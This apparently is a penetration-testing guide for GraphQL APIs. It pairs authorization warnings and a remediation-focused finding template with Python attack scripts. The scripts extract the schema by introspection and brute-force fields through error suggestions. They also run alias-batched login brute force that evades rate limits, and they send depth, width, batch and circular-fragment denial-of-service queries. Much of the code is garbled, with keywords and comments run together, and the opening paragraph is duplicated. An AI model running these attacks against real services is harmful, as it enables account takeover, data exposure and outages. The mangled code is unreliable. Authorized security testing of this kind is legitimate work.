Performs GraphQL introspection attacks to extract the full API schema including types, queries, mutations, subscriptions, and field definitions from GraphQL endpoints. The tester uses introspection queries to map the attack surface, identifies sensitive fields and mutations, tests for query depth and complexity limits, and exploits GraphQL-specific vulnerabilities including batching attacks, alias-based brute force, and nested query DoS. Activates for requests involving GraphQL security testing, introspection attack, GraphQL enumeration, or GraphQL API penetration testing.
Performs GraphQL introspection attacks to extract the full API schema including types, queries, mutations, subscriptions, and field definitions from GraphQL endpoints. The tester uses introspection queries to map the attack surface, identifies sensitive fields and mutations, tests for query depth and complexity limits, and exploits GraphQL-specific vulnerabilities including batching attacks, alias-based brute force, and nested query DoS. Activates for requests involving GraphQL security testing, introspection attack, GraphQL enumeration, or GraphQL API penetration testing.
Testing GraphQL endpoints for exposed introspection that reveals the complete API schema
Mapping the attack surface of a GraphQL API to identify sensitive queries, mutations, and types
Testing for GraphQL-specific vulnerabilities including query depth abuse, batching attacks, and field-level authorization
Assessing GraphQL implementations where introspection is disabled but schema can be reconstructed through error messages
Evaluating defenses against resource exhaustion through deeply nested or complex GraphQL queries
Do not use without written authorization. Schema extraction and query abuse testing can impact service availability.
Prerequisites
Written authorization specifying the GraphQL endpoint and testing scope
Burp Suite Professional with InQL extension (v6.1+) for automated schema analysis
Python 3.10+ with requests and gql libraries
GraphQL Voyager or GraphQL Playground for schema visualization
Clairvoyance tool for schema reconstruction when introspection is disabled
Wordlists for GraphQL field and type name brute-forcing
Legal Notice: This skill is for authorized security testing and educational purposes only. Unauthorized use against systems you do not own or have written permission to test is illegal and may violate computer fraud laws.
GRAPHQL_URL = f"{TARGET}/graphql"
auth_headers = {**headers, "Authorization": "Bearer <token>"}
# Full introspection query to extract complete schema
FULL_INTROSPECTION = {
"query": """
query IntrospectionQuery {
__schema {
queryType { name }
mutationType { name }
subscriptionType { name }
types {
...FullType
}
directives {
name
description
locations
args {
...InputValue
}
}
}
}
fragment FullType on __Type {
kind
name
description
fields(includeDeprecated: true) {
name
description
args {
...InputValue
}
type {
...TypeRef
}
isDeprecated
deprecationReason
}
inputFields {
...InputValue
}
interfaces {
...TypeRef
}
enumValues(includeDeprecated: true) {
name
description
isDeprecated
deprecationReason
}
possibleTypes {
...TypeRef
}
}
fragment InputValue on __InputValue {
name
description
type { ...TypeRef }
defaultValue
}
fragment TypeRef on __Type {
kind
name
ofType {
kind
name
ofType {
kind
name
ofType {
kind
name
ofType {
kind
name
}
}
}
}
}
"""
}
resp = requests.post(GRAPHQL_URL, headers=auth_headers, json=FULL_INTROSPECTION)
if resp.status_code == 200:
schema = resp.json()
if"data"in schema and"__schema"in schema["data"]:
print("[VULNERABLE] Full introspection enabled")
types = schema["data"]["__schema"]["types"]
# Categorize types
custom_types = [t for t in types ifnot t["name"].startswith("__")]
queries = schema["data"]["__schema"]["queryType"]
mutations = schema["data"]["__schema"].get("mutationType")
print(f"\nSchema Summary:")
print(f" Custom Types: {len(custom_types)}")
print(f" Query Type: {queries['name'] if queries else'None'}")
print(f" Mutation Type: {mutations['name'] if mutations else'None'}")
# List all custom types and their fieldsfor t in custom_types:
if t.get("fields"):
print(f"\n Type: {t['name']}")
for field in t["fields"]:
field_type = field["type"]["name"] or field["type"].get("ofType", {}).get("name", "")
print(f" - {field['name']}: {field_type}")
# Save schema for further analysiswithopen("graphql_schema.json", "w") as f:
json.dump(schema, f, indent=2)
print("\nSchema saved to graphql_schema.json")
else:
print("[SECURED] Introspection disabled or restricted")
print(f"Response: {resp.text[:500]}")
else:
print(f"Request failed: {resp.status_code}")
Step 3: Sensitive Data Identification in Schema
# Analyze the extracted schema for sensitive fields and types
SENSITIVE_INDICATORS = {
"field_names": [
"password", "passwordHash", "secret", "token", "apiKey", "ssn",
"socialSecurity", "creditCard", "cardNumber", "cvv", "pin",
"privateKey", "internalId", "salary", "bankAccount", "taxId",
"mfaSecret", "refreshToken", "sessionId", "debugInfo"
],
"type_names": [
"Admin", "Internal", "Debug", "Secret", "Private",
"SystemConfig", "AuditLog", "PaymentInfo", "Credential"
],
"mutation_names": [
"deleteUser", "resetPassword", "changeRole", "elevatePrivilege",
"createAdmin", "disableMFA", "exportData", "deleteAuditLog",
"updateConfig", "runMigration", "executeQuery"
]
}
if"data"in schema:
print("\n=== Sensitive Schema Analysis ===\n")
for t in custom_types:
# Check type namesfor sensitive_type in SENSITIVE_INDICATORS["type_names"]:
if sensitive_type.lower() in t["name"].lower():
print(f"[SENSITIVE TYPE] {t['name']}")
# Check field namesif t.get("fields"):
for field in t["fields"]:
for sensitive_field in SENSITIVE_INDICATORS["field_names"]:
if sensitive_field.lower() in field["name"].lower():
print(f"[SENSITIVE FIELD] {t['name']}.{field['name']}")
# Check mutation namesif mutations:
mutation_type = next((t for t in types if t["name"] == mutations["name"]), None)
if mutation_type and mutation_type.get("fields"):
for mutation in mutation_type["fields"]:
for sensitive_mut in SENSITIVE_INDICATORS["mutation_names"]:
if sensitive_mut.lower() in mutation["name"].lower():
print(f"[SENSITIVE MUTATION] {mutation['name']}")
Step 4: Schema Reconstruction When Introspection is Disabled
# Use field suggestion errors to reconstruct the schemadefbruteforce_field(type_name, field_wordlist):
"""Use GraphQL error messages to discover valid fields."""
discovered_fields = []
for field_name in field_wordlist:
query = {"query": f"{{ {type_name} {{ {field_name} }} }}"}
resp = requests.post(GRAPHQL_URL, headers=auth_headers, json=query)
response_text = resp.text.lower()
# GraphQL often suggests valid field names in error messagesif"did you mean"in response_text:
# Extract suggestionsimport re
suggestions = re.findall(r'"(\w+)"', resp.text)
for s in suggestions:
if s notin discovered_fields:
discovered_fields.append(s)
print(f" [DISCOVERED] {type_name}.{s} (via suggestion)")
elif resp.status_code == 200and"errors"notin resp.json():
discovered_fields.append(field_name)
print(f" [VALID] {type_name}.{field_name}")
return discovered_fields
# Common GraphQL field names wordlist
FIELD_WORDLIST = [
"id", "name", "email", "username", "password", "role", "token",
"createdAt", "updatedAt", "status", "type", "description", "title",
"firstName", "lastName", "phone", "address", "avatar", "bio",
"isAdmin", "isActive", "permissions", "groups", "orders", "items",
"price", "quantity", "total", "currency", "paymentMethod",
"ssn", "dateOfBirth", "creditCard", "bankAccount", "salary",
"apiKey", "secretKey", "refreshToken", "mfaEnabled", "lastLogin",
]
# Try to discover fields on common type namesfor type_name in ["user", "users", "me", "currentUser", "admin", "order", "account"]:
print(f"\nBrute-forcing fields on '{type_name}':")
fields = bruteforce_field(type_name, FIELD_WORDLIST)
Step 5: GraphQL Attack Techniques
# Attack 1: Alias-based batching for brute force (bypasses rate limiting)defalias_brute_force_login(usernames, password="Password123"):
"""Use GraphQL aliases to send multiple login attempts in one request."""
aliases = []
for i, username inenumerate(usernames[:100]): # Max 100 per batch
aliases.append(f"""
attempt_{i}: login(username: "{username}", password: "{password}") {{
token
user {{ id email }}
}}
""")
query = {"query": "mutation { " + " ".join(aliases) + " }"}
resp = requests.post(GRAPHQL_URL, headers=headers, json=query)
if resp.status_code == 200:
data = resp.json().get("data", {})
for key, value in data.items():
if value and value.get("token"):
print(f"[SUCCESS] {key}: token obtained")
return resp
# Attack 2: Query depth attack (DoS)defgenerate_deep_query(depth=50):
"""Generate a deeply nested query to test depth limits."""
query = "{ users { friends " * depth
query += "{ id name }" + " } " * depth + " }"return {"query": query}
deep_query = generate_deep_query(20)
resp = requests.post(GRAPHQL_URL, headers=auth_headers, json=deep_query)
print(f"Depth 20 query: {resp.status_code}")
if resp.status_code == 200and"errors"notin resp.json():
print("[VULNERABLE] No query depth limit enforced")
# Attack 3: Field duplication attack (resource exhaustion)defgenerate_wide_query(width=1000):
"""Repeat expensive fields many times using aliases."""
fields = " ".join([f"field_{i}: users {{ id email name role }}"for i inrange(width)])
return {"query": "{ " + fields + " }"}
wide_query = generate_wide_query(500)
resp = requests.post(GRAPHQL_URL, headers=auth_headers, json=wide_query)
print(f"Width 500 query: {resp.status_code}")
# Attack 4: Batched queries
batch_queries = [
{"query": "{ users { id email } }"},
{"query": "{ orders { id total } }"},
{"query": "{ admin { settings } }"},
] * 100# 300 queries in one request
resp = requests.post(GRAPHQL_URL, headers=auth_headers, json=batch_queries)
print(f"Batch 300 queries: {resp.status_code}")
# Attack 5: Circular fragment (DoS)
circular_query = {
"query": """
query {
users {
...UserFields
}
}
fragment UserFields on User {
friends {
...UserFields
}
}
"""
}
resp = requests.post(GRAPHQL_URL, headers=auth_headers, json=circular_query)
print(f"Circular fragment: {resp.status_code}")
Step 6: Field-Level Authorization Testing
# Test if different user roles can access the same fields
user_token = "Bearer <regular_user_token>"
admin_token_val = "Bearer <admin_token>"# Query sensitive fields as regular user
sensitive_queries = [
{
"name": "User PII fields",
"query": '{ users { id email ssn dateOfBirth salary internalNotes } }'
},
{
"name": "Admin mutations",
"query": 'mutation { deleteUser(id: "1002") { success } }'
},
{
"name": "System config",
"query": '{ systemConfig { databaseUrl secretKey apiKeys } }'
},
{
"name": "Audit logs",
"query": '{ auditLogs { action userId ipAddress timestamp } }'
},
]
for sq in sensitive_queries:
# Test as regular user
resp_user = requests.post(GRAPHQL_URL,
headers={**headers, "Authorization": user_token},
json={"query": sq["query"]})
# Test as admin
resp_admin = requests.post(GRAPHQL_URL,
headers={**headers, "Authorization": admin_token_val},
json={"query": sq["query"]})
user_ok = resp_user.status_code == 200and"errors"notin resp_user.json()
admin_ok = resp_admin.status_code == 200and"errors"notin resp_admin.json()
if user_ok and admin_ok:
print(f"[BFLA] {sq['name']}: Both user and admin can access")
elif user_ok andnot admin_ok:
print(f"[ANOMALY] {sq['name']}: User can access but admin cannot")
elifnot user_ok and admin_ok:
print(f"[SECURE] {sq['name']}: Only admin can access")
else:
print(f"[BLOCKED] {sq['name']}: Neither can access")
Key Concepts
Term
Definition
GraphQL Introspection
Built-in capability to query the schema definition, exposing all types, fields, queries, mutations, and subscriptions available in the API
Query Depth Attack
Sending deeply nested queries that cause exponential resolver execution, consuming server resources and potentially causing DoS
Alias-Based Batching
Using GraphQL aliases to execute multiple operations in a single request, bypassing per-request rate limiting
Schema Reconstruction
Reconstructing the GraphQL schema when introspection is disabled by analyzing error messages and field suggestions
Field-Level Authorization
Controlling access to individual fields within a GraphQL type based on the authenticated user's role or permissions
Query Complexity Analysis
Calculating the computational cost of a GraphQL query before execution to enforce resource limits
Tools & Systems
InQL (Burp Suite Extension): Automated GraphQL introspection, schema analysis, and attack generation with support for schema brute-forcing
Clairvoyance: Schema reconstruction tool that works even when introspection is disabled, using error-based field discovery
GraphQL Voyager: Visual schema explorer that generates interactive diagrams from introspection results
Altair GraphQL Client: Feature-rich GraphQL IDE for crafting and testing queries with authentication support
graphql-cop: GraphQL security auditor that tests for common misconfigurations including introspection, field suggestions, and query limits
Common Scenarios
Scenario: E-Commerce GraphQL API Security Assessment
Context: An e-commerce platform migrated from REST to GraphQL. The GraphQL endpoint serves the web and mobile frontends. Introspection was left enabled during development and was not disabled for production.
Approach:
Run full introspection query against /graphql endpoint - complete schema extracted with 45 types, 120 queries, and 38 mutations
Discover that User type exposes passwordHash, mfaSecret, and lastLoginIp fields
Find admin mutations accessible to regular users: deleteUser, updateRole, exportAllOrders
Test query depth: no limit enforced, nested query 50 levels deep executes successfully and takes 45 seconds
Test alias batching: 1000 login attempts in a single request bypass rate limiting
Test batch queries: array of 500 queries accepted without limit
Schema reveals internal InternalConfig type with databaseConnectionString and stripeSecretKey fields
Pitfalls:
Assuming introspection is the only way to discover the schema (error messages and field suggestions reveal information even when introspection is disabled)
Not testing mutations which often have weaker authorization than queries
Missing subscription endpoints that may expose real-time data streams without authentication
Not testing query complexity limits with realistic payloads that trigger expensive database operations
Ignoring that GraphQL over WebSocket (subscriptions) may have different authentication requirements
Output Format
## Finding: GraphQL Introspection Enabled with Sensitive Schema Exposure
**ID**: API-GQL-001
**Severity**: High (CVSS 7.5)
**Affected Endpoint**: POST /graphql
**Tools Used**: InQL, Clairvoyance, custom Python scripts
**Description**:
The GraphQL endpoint has introspection enabled in production, exposing
the complete API schema including 45 types, 120 queries, and 38 mutations.
The schema reveals sensitive internal types (AdminUser, PaymentInfo,
InternalConfig) and exposes fields containing password hashes, MFA secrets,
and database connection strings. No query depth or complexity limits are
enforced, enabling denial-of-service through nested queries.
**Schema Highlights**:
- User.passwordHash: bcrypt hash exposed
- User.mfaSecret: TOTP secret exposed (allows MFA bypass)
- InternalConfig.databaseConnectionString: Production DB credentials
- InternalConfig.stripeSecretKey: Payment processing API key
- 12 admin mutations accessible to regular users
**Impact**:
An attacker can extract the complete API schema, identify sensitive
fields, access password hashes and MFA secrets for any user, retrieve
production database credentials, and execute admin-only mutations.
**Remediation**:
1. Disable introspection in production: set introspection to false in the GraphQL server config
2. Implement field-level authorization using GraphQL directives (@auth, @hasRole)
3. Remove sensitive fields from the schema or restrict them with authorization middleware
4. Implement query depth limiting (max 10 levels) and complexity scoring
5. Disable field suggestions in error messages to prevent schema reconstruction
6. Rate limit GraphQL requests per query, not just per HTTP request
